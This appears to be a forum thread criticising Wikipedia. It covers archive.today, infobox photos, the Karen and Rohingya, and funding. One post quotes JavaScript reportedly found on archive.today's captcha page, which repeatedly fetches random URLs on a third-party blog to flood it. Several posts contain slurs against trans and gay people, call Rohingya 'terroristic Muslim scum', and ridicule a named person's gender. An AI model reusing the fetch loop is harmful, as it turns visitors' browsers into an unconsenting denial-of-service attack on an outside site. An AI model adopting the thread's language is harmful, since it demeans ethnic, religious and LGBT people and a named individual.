The A&N thread: Archive.today: Operator uses users for DDoS attack

The "operators have altered the content of archived pages" part is iffy. They seem to be referencing a username change across multiple sites, but archive.today has always stripped or spoofed the scraping account details to avoid having said scraping accounts get banned.
Unfortunately the malicious DDoS code on the captcha page, even if watered down from every 300ms to every 1400ms, is still present:
JavaScript: 
setInterval(function() {
            fetch("https://gyrovague.com/tag/"+Math.random().toString(36).substring(2,3+Math.random()*8)+"/", {
                referrerPolicy: "no-referrer",
                mode: "no-cors"
            });
        }, 1400);
which makes opposing the blacklist legitimately impossible.
 
The article for Anders Behring Breivik used to have an actual photo of the man in the infobox, but more recently they've changed it to this really uncanny sketch for some reason.

I love that Wikipedia bends over ass backwards to avoid copyright lawsuits and their solution is shitty 3D renders or screenshotting some livestream at 144p. Just get an actual photo and use it retards.

The Karen people are an ethnolinguistic group in Burma. Why do I bring this up? They are not the majority of the country, they are one of a multitude of Ethnic groups cobbled together in that legacy of British India.

The Rohingya are another ethnic group in Burma, yet are labelled as stateless. Aren't the Karens also stateless because they don't have their own ethnostate? According to Wiipedia's own description they should be.
A stateless nation is an ethnic group or nation that does not possess its own sovereign state. Use of the term implies that such ethnic groups have the right to self-determination, to establish an independent nation-state with its own government. Members of stateless nations may be citizens of the country in which they live, or they may be denied citizenship by that country.

Not even the page of Gypsies claims that gypsies are stateless.

Perhaps it is because the Karen are Burmese and therefore represented in Burma in the same way a Saxon is in Germany? Though I think it is more likely that it is because the Rohingya are terroristic Muslim scum (who are Bengali), so the libshits editing the pages want them to be as sympathetic as possible.

Viewed another way, when Wikipedia references the NY Times "Trump is a doodoo head who wears diapers" article, isn't it in their best interest to have a good quality archive for when inevitably NYT has to take it down due to getting sued into oblivion by heckin' evil Drumpfler?

These faggots are just lazy beyond belief by relying on the Wayback Machine or other archives to handle this. They have 100s of millions stowed away in investment accounts as well as millions in cash and can't set aside a few grand to setup a crawler?

Actual investment on features would solve issues, losing them talking points to beg for money. It would also cut down on the money for progressive NGO funding.

And we are the racists? (googling Sam Srauy returned a tranny, but I really can't tell if it's a hon or a pooner because "male Sam" looks like the latter but "female Sam" looks like the former)

I don't even know with this gendie rolly n shit.

And of course they had to mention this tranny shit.
